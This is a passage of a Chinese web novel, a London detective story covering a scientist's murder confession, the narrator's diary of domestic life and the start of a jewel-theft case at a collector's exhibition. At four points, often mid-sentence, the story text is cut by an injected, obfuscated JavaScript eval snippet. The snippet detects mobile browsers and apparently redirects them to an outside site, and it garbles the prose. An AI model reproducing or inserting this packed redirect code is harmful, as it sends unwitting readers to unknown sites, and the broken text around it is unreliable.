“她父亲的研究笔记，”简开口，“以及皮尔斯爵士早期几篇关键论文的手稿修改痕迹。很有趣的对比，不是吗？” 博士沉默着。 “还有这些，”简的手指划过那些剪报和私人信件影印件，“关于你七年前那项天体物理模型的争议……几次关键的学术会议申请被莫名驳回……以及，皮尔斯爵士私人信件里对一些评审委员的‘建议’。” 她抬起眼，看着他，“他压着你，很久了。用各种方式。” 梅里克博士终于动了动，手铐发出轻微的磕碰声。他抬起头。 “他只是……窃取，然后堵死所有的路。”他的声音沙哑，“克罗夫特教授的是，我的也是，其他人也是！他像个贪婪的怪物，把所有闪光的东西都据为己有，再把真正创造它们的人踩进泥里。” 他的语气逐渐激动起来，“而这次……这次不同！那场模拟审判……它本该是关于真理的！是关于宇宙的秩序和人类的理性！可他……” 他猛地喘了口气，像是回忆起了极致的愤怒，“他却想把它变成另一场交易，另一场肮脏的、基于他掌握的那些所谓‘把柄’的胁迫！他想让我…不！让科学在所有人面前‘输掉’，以此证明他永远是对的！证明他所认为的一切都是理所当然！” 他盯着简，又像是透过她看着那个已经不存在的对手，“我不能输。侦探小姐，你明白吗？在那样的场合，面对那样的议题……我不能输。我代表的……不仅仅是我自己。” “所以你再一次的去了。”简的声音依旧很轻，“那天晚上，那个中场，他借口清场，私下找你，以为能最后给你施加压力。而那也给了你一个……无人打扰的机会。” 梅里克博士的眼神飘忽了一瞬，仿佛又回到了那个充满紧张对峙的休息室。 “他嘲笑我…嘲笑科学…” 博士的声音低下去，带着一种冰冷的回响，“他说我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259786|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永远逃不出他的掌心，说我的‘科学’和他的一样，只要需要，都可以是标价的商品。他拿着手杖，像国王一样踱步，那银色的龙头……在他手里像个丑陋的笑话。” 他的呼吸变得急促：“他说……‘等会，你会输得很体面’。” “然后？”简问。 然后……一片空白，然后是喷涌的愤怒。 等他回过神来，那根曾经象征权柄的手杖已经断裂，沉重的银质龙头在他手里，沾着黏腻暗红的东西。 而埃兹拉·皮尔斯爵士，倒在地上，那双总是充满算计和贪婪的眼睛，只剩下空洞。 长时间的沉默。 只有博士粗重的呼吸声在房间里回荡。 “我……没有计划。” 他最终说道，声音里充满了疲惫和释然，“但当我拿着它，那个肮脏的…沾满了他和我两个人血迹的东西……我不能把它扔掉。它不能就那么……和垃圾混在一起。” 他的目光投向远处，仿佛能穿透墙壁，再次看到皇后大厅里那些沉默的盔甲。 “它需要被放置。像一个证据，一个……审判后的标记。他一生都躲在光鲜亮丽的偷窃品之后，那个龙头……” 他不需要带走它，把它藏在那些铁皮罐头里，比带走要安全一百倍。 就在所有人的眼皮底下，在那座象征着‘守护’与‘荣誉’的盔甲里。 但他又是那么想带走它，那是一个标记…一个纪念…一个肮脏的粘着两个人血的…证据！ “你为什么…要让现场成为那样？”我忍不住问。 让那样一个死者以思考者的姿势离开，甚至要摆上那本初版的《物种起源》。 “现场……” 梅里克博士重复了一遍这个词，目光低垂，落在自己被铐住的手上，指尖无意识地相互摩挲着。 “我说过，那是一种嘲讽。或者…是一种误导。其实…都不是。” “他倒在那里，”他陷入回忆，“像一堆……突然失去支撑的旧衣服。空洞，难看。” 他停顿了一下，呼吸声在安静的审讯室里显得有些粗重。 “我看了他一会儿。脑子里很乱，又好像……异常清楚。我不能让他就那样……结束。” 他抬起头，眼神里没有炫耀，只有一种深切的认真，“他偷了一辈子别人的脑子，别人的思想。他玷污了‘思考’这件事本身。” “所以你就帮他……摆成了那个样子？”我问，尽量让声音保持平稳。 “思考者的姿势？” 他嘴角扯出一个毫无笑意的弧度，“算是吧。很拙劣，我知道。但那一刻，我觉得……他至少该看起来像是在思考。哪怕只有一次，哪怕是在这种时候。一种……补偿？或者只是一种……我自己也说不清的念头。” 他的视线飘开，似乎不愿意与我们对视，他似乎在看墙壁上的某一点，又似乎在看更远的地方。 “那本书呢？”简问，她的声音依旧平静，像在讨论一个学术问题，“《物种起源》。初版。为什么是它？” 博士的目光收回来，落在简的脸上，这次带上了一点近乎感激的神色，仿佛终于有人问到了点子上。 “那是我的书。”他说，语气里带着一种奇异的占有感，“我带来的。原本……是打算在的辩论间隙，万一需要，拿出来佐证某个关于观点演进和自然选择的论点。它代表……一些很根本的东西。关于真相如何艰难地浮现，如何……一点点被承认。” 他微微吸了口气。 “他死了。争论结束了，至少对他来说结束了。但他造成的那些扭曲……还没有。我把书放在他手里，放在那本不该拿着它的手上……或许是想说，看，最终……真理总得有个地方落脚。哪怕是以这种……这种最荒谬、最不可能的方式。” 他沉默了片刻，摇了摇头，像是自己也觉得这想法既偏执又可怜。 “很无理，我知道。”他低声说，更像是在自言自语，“但我当时就是觉得……必须这么做。好像不这么做，一切就真的……全无意义了。好像不这么做，科学……就真的在那间屋子里，和他一起彻底输掉了。” 他不再说话，只是看着自己的手铐，仿佛那里面禁锢着他所有未能宣之于口、也无法真正实现的执念。 他完成了他的仪式。 他将科学无法宣判的罪，用最原始、最暴烈的方式，执行了终判。 简静静地听完，没有评判。她只是合上了那份档案。 “贝拉小姐提供的证据，很快就会见报。”她说，“人们会知道皮尔斯爵士是什么样的人。你坚持的……或许能因此得到某种意义上的公正。” 梅里克博士愣了一下，随即露出一丝极其苦涩的笑容。 “是吗？”他喃喃道，低下头，看着自己铐在一起的双手，“可我最终还是……输给了这种东西。” “我找你们，找侦探，也许是真的想洗清嫌疑与罪名，还是…真的想被抓住？谁知道呢？” …… 后来，报纸上果然登了皮尔斯爵士旧事，在无数的推波助澜之下，学术圈甚至整个社会掀起了些风波，但没过多久，也就慢慢平息了。人们总是更容易关注眼前的新事情。 贝拉小姐买下了奥利弗·皮尔斯先生卖出的化石和标本，然后选择了成为加入了新的考古研究组，奔赴印度，去研究古生物进化。 而对于那些所发生的事情，她说：“人总是要为自己的选择，而付出点什么。” 梅里克博士认了罪。 有时我会想起他说的“输干净了”。 皮尔斯爵士阁下获取着科学的利益，却又虚伪的站在上帝的立场上。 而梅里克博士，他是否是代替科学杀死了走错路的虚假的上帝信徒？ 而我们，达尔文与上帝之争里，是否能终结这个他不能找到答案的悖题？ 或许能，可是上帝似乎永存。或者说，信仰永存。 时代会进步。科学会传播。那么科学是否胜利？ 科学或许能够取代上帝。但信仰仍然存在。 这注定是没结果的。 简当时合上档案，轻微的声响给这场个人的审判画上了句号。 而我，在这里书写着。 但是外面世界那些更大的讨论，永远不会停止。 它们存在于每一天的思考与选择中，不在审判台上，更不在那染血的手柄上。 日子照旧会过下去。 问题会有新的，一切也都会过去。世界就这样，不算太好，但也不停地往前走着。 72.8.6 当我写这个记录的时候，伦敦的天气很好。 弗瑞在照看院中的花草。 养花很麻烦，要浇水，要施肥，雨水多的时候还得帮它们保持干燥… 但它们现在很好看。 弗瑞很喜欢。 …… 这是最近少有的空闲时间。 爱尔兰战争马上结束。 金环蛇在里面赚得盆满钵满。 呵。先生他总归是高兴的。 但我去见他的时候，他又喜欢说些似是而非的东西。 知道又怎么样？ 我会牢牢抓住那些武器线。 何况，那本就是……留下的。 见到了格林。 她的确深得先生信任。 聪明，有野心。 作为合作者，还行。 毕竟，她已经控制了金环蛇三分之一的事物。 艺术？走私？殖民？ 呵。 我稍微闲下来了。 梅尔差不多要回来了。 辛苦她了。 到时候带她和弗瑞一起去度假？ 我觉得可以。 她们两个应该都会挺高兴？ 就是希望梅尔不要说着训练，然后拉着弗瑞到处跑。 她一向不安定。 说到安定… 伦敦最近也挺不安定的。 或者说，伦敦安定过吗？ 弗瑞加入了女性权利斗争…… 我们也会一起走上街头游行。 我不可能反对。 即使我很难看到成功的可能性。 不仅仅是因为弗瑞，而是因为…同为女性？ 总要有人坚持。 …… 弗瑞总是让我要好好打扮。 她总是说我很好看。 我其实不太在意这个。 但我承认，当我看着福瑞，还有其他女性，涂着那鲜艳的口红走上街头的时候，我知道我也得做出点什么。 口红。 那是一个独特的物品。 但它也和很多事物一样。 什么总是赋予它众多的意义。 而我涂上它，那种艳丽张扬的大红色，也只是因为我认同和弗瑞一样，走上街头的女性罢了。 但是，日复一日，似乎也要成为习惯了。 弗瑞到是很乐意看到。 …… 夜晚了。 弗瑞回房间休息了。 我想偷偷抽草药烟。 抽屉里那盒草药烟少了两支。 不是我。 大概是弗瑞前几日整理时拿出去了。 她总是这样，做得不留痕迹，给我留着面子，仿佛只是我记错了数目。 我合上抽屉，没打算追问。 弗瑞说即使是草药也会危害我的健康。 其实，她也没有多严。 而且，我不讨厌她这样做。 但是，有点无聊。 而且写记录的时候，总感觉差了点什么。 偷偷来一根？ 抱歉，亲爱的弗瑞，之后不会了。 …… 然后，也没有什么要记录的吧。 最近其实就破破了几个案子而已。 凶手总是会给出各自的理由。 弗瑞会去共情。 但我不会。 好吧，我不是想绝对的抓住凶手。 真相？ 真相的背后总是有许多的东西。 ''''The Veiled Truth'''' (尘封的真相) 是选择？权衡？尘封？ 真相应该被看见。 我知道，我记录着。 弗瑞说想把这些故事写下来。 当然可以。 我总会支持的。 这很好。 …… 七月五日。 今天是弗瑞的生日。 雨下了一天。 弗瑞抱怨说这天气让她的蔷薇看起来无精打采。 我到是觉得，那些花苞低垂着挺好看。 她在我对面看一本关于工会组织的小册子，眉头微微蹙着，很认真。 我偶尔抬起眼，能看见她睫毛投下的一小片阴影。 炉火噼啪响了一声，她也没抬头，只是无意识地朝暖和地方挪了挪椅子。 案头那摞东西总算见了底。 梅尔给我发信了，说月中就能回来。 弗瑞系了那条墨绿色的丝巾，我送她的生日礼物。 她似乎很喜欢。 街角那个卖热栗子的摊子又支起来了。 糖炒栗子的甜香能隐约飘到二楼书房。 弗瑞喜欢这个，我想我应该去买一纸袋。 这可是弗瑞的生日。 伦敦怎么总是下雨？ 弗瑞不喜欢下雨天。 我想带弗瑞出去过生日。 雨还是没有停。 但终究是带她出去了。 去了剧院。 她选了那出新的轻喜剧。 海报上画着夸张的笑脸和翘起的靴尖。 我们的座位在二楼包厢，猩红色的绒布有些褪色了，扶手被磨得光滑。 弗瑞脱了大衣，里面穿着的丝绒长裙，和那条丝巾很配。 她看得很专注，幕间休息时才会转过脸来，眼睛亮晶晶的，和我简短地议论一句某位演员的台词或是某个笨拙的舞台反应。 她笑得很开心。 我对这种浮华的东西不感兴趣。 但似乎也没有那么差劲。 散场后雨小了些，成了迷蒙的雾雨。 没叫马车，沿着街走了一会儿。 街角那家栗子摊居然还撑着油布伞。 正好买了一纸袋，烫得很，只好用叠起的手帕垫着，揣在大衣口袋里。 弗瑞走在我身旁，步子不快。 她没怎么说话，只是偶尔指给我看某扇亮着温暖灯光的橱窗。 回到家，壁炉的火还没熄。 她泡了茶，我们坐在炉火前的地毯上，分享那袋已经变得温热的栗子。 她小心地剥开壳，顺便递给我一些果肉。 “还好出去了。”她说。 “嗯。”我当时应了一声。 栗子很甜，粉糯的口感。 后来她靠在沙发上睡着了，头微微歪向一边，手里还捏着半颗没剥完的栗子。 呼吸很轻，睫毛在眼下投出安静的阴影。我把毯子盖在她身上，收了栗子壳，熄了大部分的灯。 坐回书桌前写这些字时，还能听到她平稳的呼吸声，和窗外持续不断的、细碎的雨声。 伦敦的雨总是下不完。 她动了一下，毯子滑落一点。 我过去重新替她掖好。 然后回来写下这个。 这不过是小事，可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259787|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想记录。 生日。 一年一次。 其实和其他的日子也没什么不同。 照样下雨，照样有琐事，照样要看那些不想看的面孔，处理那些不愿处理的关系。 但总得有点什么不一样。 比如一场喜剧，一袋热栗子，一条她喜欢的丝巾。 记录这些，并非因为它们多么特别。 雨还没停。 但今晚很好。 …… 弗瑞想知道皮尔斯的案子。 我和她说了。 …… 梅里克博士来访。 他身上有消毒水和旧纸张的味道。 手指紧捏礼帽边缘，过于紧张了。 他的一切都太刻意。 他想让我信他。 我告诉过弗瑞的，没有切实调查过，什么都不可信。 但我还是接这个委托。 为什么不呢？ 但是弗瑞信了。 她总是愿意去相信别人。 “可怜的人。”她说。 也许是，也许不是。 但最后的事实证明，这个男的总归是在利用我们。 早先与贝拉小姐的谈话很有意思。 作为皮尔斯的秘书，她总是能知道许多别人不应该知道的事情。 从她那套到一点话也并不难。 皮尔斯有段时间，喝完酒，大发脾气让所有人都滚。 那个时候，是所有人都空缺了的。 她看化石的眼神也很有意思。 至于皮尔斯的死法。 思考者的姿势，那本书。 有意思。 梅里克的研究领域，他与皮尔斯的对立。不只是仇恨。 我独自去了皇后大厅。 因为不想打扰弗瑞。 而且，我想弗瑞可以做点其他的。 走廊寂静，盔甲立在阴影里。 慢慢地打击，那种沉闷的敲击声。 一具哥特式的铠甲，内侧有不易察觉的缝隙。 他终究会回来取。 梅尔派的人汇报过。 他前两次徘徊，又离开。 警员的存在让他警惕。 陷阱不必复杂，有用就行。 苏格兰场的人从暗处现身。 门被撞开时，他正站在那盔甲旁，手里紧握着那枚染血的龙头。 偏执，但符合逻辑的科学家。 他认罪了。 而贝拉小姐所知晓的那些真相，也应该去见见光了。 报纸喧哗了几日，又平息。 外面天黑了。 弗瑞的脚步声从楼梯上传来。 日子照旧。 …… 七月十七日。雨。 弗瑞说蔷薇生了黑斑病。 她修剪的时候很小心，还是掉了很多叶子。 梅尔快回来了。 弗瑞多收拾出一间客房，窗帘洗了两次。 草药烟只剩三支了。 贝拉小姐寄来了感谢信，说要去印度，希望她一切顺利。 苏格兰场的人下午来过。 问梅里克的事。 我让他们去看档案柜。 反正最后功头落在了怀特的头上，挺好。 比那个叫什么安德鲁的原警督要好。 雨声太大。 钢笔漏水了。 就写这些。 73.9.1 梅尔小姐在七月二十二号的时候回到了伦敦。 相较于原计划推迟了好几天，她在行动中不幸被流弹击中了，所幸没有大碍。 我收拾了一间客房，近乎是强硬地要求梅尔小姐养伤。 “小问题。不需要麻烦小姐和…”梅尔满不在意地说 “不行，你可是我师父，我可不能看着你这样！”我斩钉截铁地说。 看打动不了我，梅尔就看向了简。 “小姐。我…” 她的话还没有说完，简就开口：“梅尔，好好养伤，这是命令。” “是。”梅尔小姐应道。 但是梅尔小姐就是闲不下来，伤都没好，还要坚持训练，跑步，格斗，木仓法，一个不落。 “我得保持最好的状态，应付危机。你也是。”梅尔这么说着。 最终，她又用有要事的理由，在某个无光的月夜离开了。 当然，我知道她常常在附近。 但是，为什么她就不能与我们一起呢？ 她总是要出没在黑夜，游走在危险的边缘。 我有拉着她和简在白天出去，可她从来都没有放松过，无比的警觉。 简也是这样的。 “弗瑞，你不能要求一把武器不去沾血，你也要求一个人强行安定下来。” 当梅尔小姐离开之后，简是这么对我说的。 总有人需要追逐刺激，也总有人需要黑暗。 梅尔是这样，简是这样。 我们不能用自己的准则和看法要求别人。 最终，我只好不再强求。 或者说，简也没有要求 只有偶尔的鲜花，咖啡还有…猎物等等会随着梅尔小姐的问候送来。 那间为她准备的房间永远留着。 但她却从不久留。 …… 然后日子就暂时归于平淡了。 在当时的我看来，不过是很多普通的日常案子。 但是当我为写故事而整理笔记的时候，我才反应过来，其实那些事情，从不普通。只是我早已习惯了那样的日子。 下面我要讲的，就一个并不普通甚至十分奇异的故事。 让我想想，从哪里开始呢？ 就从一个曾经接触过的人送过来的一份委托开始吧。 …… 收件人：里斯克&本 发件人：奥古西斯·西弗西斯 女士们， 本周五晚，我将在宅邸内展示一件重要藏品。宾客名单复杂，藏品价值极高。 你们在之前那不幸的案子里给我留下了深刻的印象，故而我来寻找你们的帮助。我需要你们以安保顾问的身份出席，工作很简单，只需要关注一下现场状况，保护藏品就好。我相信二位的能力。 时间：周五晚8点。请7点准时到场做前期检查。 报酬从优。 奥古西斯·西里弗斯。 读者们，这就是那个痴迷于宝石的奥地利收藏家奥古西斯·西里弗斯先生送给我们的委托信。 “安保？”简当时漫不经心地看着委托信，“这可不是侦探要做的事。” 她是这么说的，并且想要回绝它。 但是随之而来的另一封信改变了她的想法。 一封带有黑色十字架的信，信上只有寥寥数语，“乌鸦将会取走缄默的圣甲虫，侦探们，玩一玩吗？哈哈！” 克罗斯，cross！ 那个与简关系匪浅的怪盗！ 简没有被挑衅的不悦，反到是低低地笑了几声，“弗瑞，我们去找点乐子吧。” …… 最终，我们还是站在了奥古西斯·西弗西斯先生那位于梅菲尔区的宅邸前。 时间是晚上七点过十分，我们稍微“迟到”了一点，这是简的主意。 “提前到场能看到他们不想让你看的，”她漫不经心地整理着手套，“准时到场，才能看到他们准备让你看的。稍微晚一点，刚刚好。” 歪理。 厚重的深色天鹅绒窗帘，深色的木质墙板，灯光被刻意调得很暗，几乎所有的光都聚焦在那些陈列在防弹玻璃柜里的藏品上。 宝石、矿石、扭曲的金属艺术品，在冷光下沉默地闪烁着，像一双双凝固的眼睛。 空气里有一股味道，奇异的香料味。 后来我知道，那是西弗西斯先生偏爱的一种熏香，据他说能“净化周围的磁场”，闻起来有点像陈年的松木和某种陌生的树脂。 许久未见的西弗西斯本人就在埃及厅的入口处等着我们。 “小姐们，你们迟到了。”他的话语里透着不耐。 “路上的小意外，西弗西斯先生。”简随口应道，目光却早已越过他，扫视着整个埃及厅，“希望没有耽误你的重要事宜。” 埃及厅名副其实。 房间被布置成一座小型神庙的样子。 墙壁上是仿制的古埃及壁画，描绘着诸神称量心脏的末日审判场景，壁画边缘镶嵌着金箔，在昏暗的灯光下幽幽反光。 几座乌木或花岗岩的埃及神祇雕塑矗立在角落，眼神空洞地凝视着虚空。 空气中弥漫着更浓郁的熏香，没药和乳香，甜腻中带着一丝苦涩，闻久了让人有点头晕。 厅中央是一个独立的展示台，空着。 显然，那将是“缄默圣甲虫”的位置。 宾客们已经三三两两地到了。 光我认识脸的，就有好几个。 在皮尔斯爵士死亡的案子里自称凶手的灵媒狂热爱好者兰林·科尔夫人，她穿着一身昂贵的紫色长裙，身上挂满了许多奇异的配饰，正紧张地摩挲着一个镶嵌着巨大欧泊的项链吊坠，眼神热切地瞟着那个空展台。 还有大英博物馆的新星，埃德加·莫里斯博士，则站在一幅壁画前，皱着眉头，用手指隔空比划着上面的圣书体文字，嘴里无声地念叨着什么。 维克多·兰开斯特，一位颇为有名的艺术投资人，正端着酒杯和那位美国工业大亨特拉尔交谈，后者声音洪亮，正比划着他的纽约豪宅有多大，需要“一点有历史的老东西”来镇场子。 兰开斯特笑着，但我看得出他笑容里的不满与不适。 还有一位我没预料到的客人，卡特先生，那位自认是圣甲虫“原主人”的考古学家。 他独自站在最远的角落，身形干瘦，脸色阴沉，眼神死死地盯着那个空展台，仿佛那是他被人夺走的孩子。 还有许多其他我不能认出来的人，当然，还有不知道隐藏在何处的怪盗克罗斯，他们也都是为了那“缄默圣甲虫”而来。 “缄默圣甲虫”。 1922年从埃及法老图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281792|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坦卡蒙（Tutankhamun）的陵墓中出土的珍贵文物。 它并非一颗传统意义上的刻面宝石，而是一件极其珍贵的古埃及艺术品。 根据报道，它由一个巨大的、雕刻精美的圣甲虫形态的深绿色墨玉为主体，甲虫的翅膀可以开合。内部镶嵌着一颗小而明亮的金色绿柱石。 据说，当挖掘者卡特先生被问及然后评价它时，卡特说出了句著名的话，并被大肆报道，他说，“是的，美妙绝伦（Wonderful things）。” 据说，圣甲虫的腹部刻满了细密的《亡灵书》章节，关于沉默、秘密和审判。 它也由此命名。 当然，随着这个珍宝广为人知，它的传说与诅咒也甚嚣尘上， 传说圣甲虫的主人是一位以“聆听秘密”和“施行沉默刑罚”著称的法老祭司。 当法老死去，他带着爱宠一同离去。 并诅咒“凡以谎言或背叛玷污此圣物者，必被真相扼住咽喉，永归寂静。” 它被认为会“吸收”周围的秘密和谎言，并在某个时刻引发灾难性的后果，让背叛者窒息于自己的罪孽。 当然，任何神秘色彩都只会加剧人们追踪的狂热。 从整个现场的那么多神色各异的人就可窥其一般。 而怪盗克罗斯的目标，就是它。 我环视了一下现场，实在想不出谁才是克罗斯。 “简，你认为克罗斯一定会假扮成别人吗。”我甚至是有些好奇。 “当然，毕竟…他本来的面目可没那么容易出来。”简注意着展厅的情况说。语气熟稔。 所以？ 我看看看满场的宾客，还有穿行的侍者，将近几十人，要在这里面找到伪装过后的克罗斯，简直难如登天。 没等我先找到克罗斯，八点整，西弗西斯走到了展厅中央，轻轻拍了下手。 所有的交谈声都停了下来。 “诸位，”他开口，带着自豪，“感谢各位今晚莅临。接下来，你们将见证一个奇迹，一个来自尼罗河沙海之下的沉默低语——‘缄默圣甲虫’。” 他亲自用一把小巧的黄金钥匙打开了中央展台的玻璃罩。 随着罩子缓缓升起，那件传说中的圣物终于出现在我们眼前。 它比我想象的更大，更……沉重。 它的翅膀紧紧闭合着。透过那半透明的玉质外壳，能隐约看到内部包裹着一团柔和的金色光芒，那颗被称为“太阳”的金色绿柱石。 西弗西斯戴上白手套，极其小心地将它捧了出来。 那一刻，厅里安静得能听到熏香燃烧的声音。 “看这工艺，这线条，”他近乎痴迷地低语，指尖拂过圣甲虫的背部，“还有这重量，这是历史本身的重量。” 他开始缓缓转动圣甲虫，向我们展示其腹部那些细密到令人惊叹的刻文。 “《亡灵书》的章节，”他解说道，“关于沉默，关于秘密，关于审判。传说……” 他的话音未落，一阵轻微却清晰的“咔哒”声响起。 是圣甲虫的翅膀。 在没有任何人触碰的情况下，那对紧紧闭合的玉雕翅膀，竟然自己微微弹开了一条缝隙。 一道锐利的金色光芒从缝隙中射出，像一只突然睁开的眼睛，铭记着在场每一个人的脸。 74.9.2 一时间，厅里的空气仿佛凝固了。 科尔夫人倒吸一口气，激动得猛地捂住了嘴。 莫里斯博士的眉头皱得更紧。 兰开斯特的笑容僵在脸上。 卡特先生向前挪了半步，嘴唇无声地翕动着。 西弗西斯也愣了一下，但随即露出欣喜：“看！它感知到了！它感知到了在场的能量！” 然后人群猛地骚动起来，人们猛烈地向前，想要离宝物更近一点。 拥挤着，推搡着，一切都无比混乱！ 简本来一直在我的身边，可就是在这样的混乱中，我们中硬是被挤进好几位宾客。 “啊！” 混乱中，我不知是被人推了一把还是怎么，突然一个重心不稳，几乎就要倒下。 “弗瑞！”我听见简在叫我。 预想中的摔倒并没有到来，一位在我旁边的先生拉住了我。 “小姐，你没事吧？” 那位先生穿着合身的深灰色西装，站在晃动的人影中却显得异常平稳。 他的手在我肘部轻轻一托，力度恰好止住我的踉跄，随即不着痕迹地收回。 他的身高比周围多数人略高一些，但微微颔首的姿态消解了那种压迫感。 目光相遇时，他略一点头，灰蓝色的眼睛礼貌而冷静，既不过分关切也不显得漠然。 “请小心，女士。”他的声音平稳，带着不太明显的德语区口音。 未等我正式道谢，他已侧身后退半步，身影重新没入宾客之间。 简逆着人群到了我的身边，她伸手拉住我，“没事吧？” 我摇了摇头。有些好奇地去观察刚刚帮助我的先生，我感觉简似乎也在观察他。 但没等我细问，西弗西斯先生的话就又引起了骚动。 他用他那异域的语调，自豪地说：“先生们，女士们，冷静下来，接下来到了最精彩的环节……” 那件宝物，缄默的圣甲虫，将会被男仆端放着，在展厅中走动，让宾客能够近距离欣赏和领略它的美丽。 当然，众目睽睽之下，宝物的安全是有保证的。 好吧，至少事情发生之前我都是这么认为的。 我完全无法理解奥古西斯·西弗西斯先生为什么要搬这样一场展会，甚至还要如此珍贵的宝物被那么多的人传看！ “奥！小姐！那是历史，是财富，是宝物…它，它们，当然要被人知道，当然要被人欣赏，最重要的是，人们要知道，它们属于我！” 当被审问时，奥古西斯·西弗西斯先生用他异域的腔调如此说，似乎对我的问题充满了不解与诧异。 不管怎么说，传看开始了。 圣甲虫被放在一个铺着黑色天鹅绒的托盘里，由一位面无表情的男仆捧着，依次在宾客间传递。 每个人反应各异。 莫里斯博士拿出放大镜，仔细得近乎挑剔地检查雕刻细节和玉料质地。 兰开斯特看它的眼神像在看一大摞会发光的英镑。 特拉尔大大咧咧地想用手去掰那弹开的翅膀，被男仆不动声色地阻止了。 人群又在向前涌动，人们总是想能够更早地轮到自己。侍者和安保不得不尽力护在那位端着圣甲虫的男仆身边，以保护宝物。 我，简，还有那位帮助我的先生，反倒是都站在了最外围。 “他们真有意思，不是吗？哈哈。” 那位先生注意到我们，走过来对我们说道，语气是满是漫不经心和讥讽。 “当然。”简反倒是在我前面接话道，她看了一眼不远地展品，有看向了站在我们身边的先生，语气有些似笑非笑，“你怎么看待那宝物？” “我？哈哈。”那位先生似乎听见了什么好笑的事情，整个人愉悦起来，和他外表给人的稳重印象完全不搭。 “那当然是件珍宝，但它不属于这里。”他是这么回答的。 我感觉到简似乎也愉悦起来，“呵！”，她轻笑了一下。 当然，读者们，我想你们很容易就能察觉一些东西，但是，让我们慢慢来。 不得不说，那位先生说得对，那件珍宝，“缄默的圣甲虫”，它不属于那个展厅。 但是，谁又能说得清，那些珍宝，究竟如何定义归属与权利呢？ …… 圣甲虫仍然在被传看。 托盘传到了卢西恩·格雷厄姆面前。 卢西恩·格雷厄姆先生给人的第一印象，与他所从事的行业无比契合。 他约莫三十五六岁，身形清瘦，戴着副金丝边眼镜，一丝不苟。 他的双手即便在这种社交场合也戴着白色的棉质手套，据说是因一种罕见的皮肤敏感症，但这更为他增添了几分专业甚至是神秘的气质。 作为业内颇受尊敬的独立珍宝修复师，他以对待古物近乎虔诚的谨慎和鬼斧神工的技艺闻名。 许多老牌的家族宁愿将传家宝送到他那间僻静的工作室，也不愿信任大型机构。 他与西弗西斯的合作，在外人看来正是天才收藏家与天才修复师的天作之合。 西弗西斯发掘瑰宝，而格雷厄姆先生则负责让它们焕发原本的光彩。 此刻尽管他脸色苍白，额角渗汗，人们也多以为他是出于对手中这件绝世奇珍的过度紧张与重视。 只见他双手近乎虔诚地（或者说，是过度用力地）捧起了那枚圣甲虫。 他的手隔着那层薄薄的白手套，近乎粗暴地反复摩挲着翅膀根部。 那团被困在其中的金色流光，在他微微颤抖的掌心下，似乎也随之不安地悸动了一下。 周遭的宾客们还沉浸在对宝物的惊叹与对自身轮换的期盼中，并未过多留意这位修复师先生异常的专注。 直到下一秒。 毫无征兆地，卢西恩·格雷厄姆的身体猛地一僵。 随即，他像是被抽走了所有的骨头，整个人软塌塌地向前倒去。 “砰！” 一声闷响，他重重摔倒在地上。 那枚被视为无价之宝的圣甲虫从他骤然松开的指间脱出，在地毯上滚了几圈，金色的微光兀自闪烁。 厅内霎时间死寂。 所有的喧闹、推搡、低语，都在这一刻消失。 人们惊疑不定，愕然地看着突然倒地不起的格雷厄姆先生，一时无法理解发生了什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“恐怕不是通常意义上的心脏病，西弗西斯先生。”简的目光落在那位先生手帕里依旧泛着幽光的圣甲虫上，“在警方到来之前，最好谁都不要再触碰任何东西。你也是。” 最后的话，简明显是对那位帮助我的先生说的，而那位先生状似满不在意地耸耸肩，将圣甲虫放入了托盘里。 当然，他的动作是还是足够小心翼翼的。 “报警吧，西弗西斯先生。”简说。 这话点醒了主人。西弗西斯先生像是才找回理智，颤声吩咐吓呆了的男仆去打电话给苏格兰场。 等待的时间里，没人再敢碰那圣甲虫。 它静静躺在天鹅绒的托盘上，翅翼上的金芒偶尔流转，冷眼旁观着周围。 人们窃窃私语，目光在尸体和宝物之间惊疑不定地游移。 没多久，熟悉的脚步声在门外响起。 怀特警官带着几个警员走了进来，他的目光扫过全场，最后落在尸体上，眉头习惯性地皱了起来。 “又是你们，小姐们？”他叹了口气，语气里带着点无奈的熟稔，“还有……西弗西斯先生。这次又是什么宝贝惹麻烦了？” 75.9.3 怀特警官扫视了一圈混乱的现场，目光最落在在那枚圣甲虫上。 显然，并不需要什么更多的解释了。 “谁都别动任何东西！”他厉声喝道。然后朝着身后穿着制服的警员挥了下手。 “你，还有你，封锁这个房间。没有我的允许，一只苍蝇也不准飞出去。” 他小心翼翼地走上前，没有先去看尸体，而是先看向了自己身后的人。 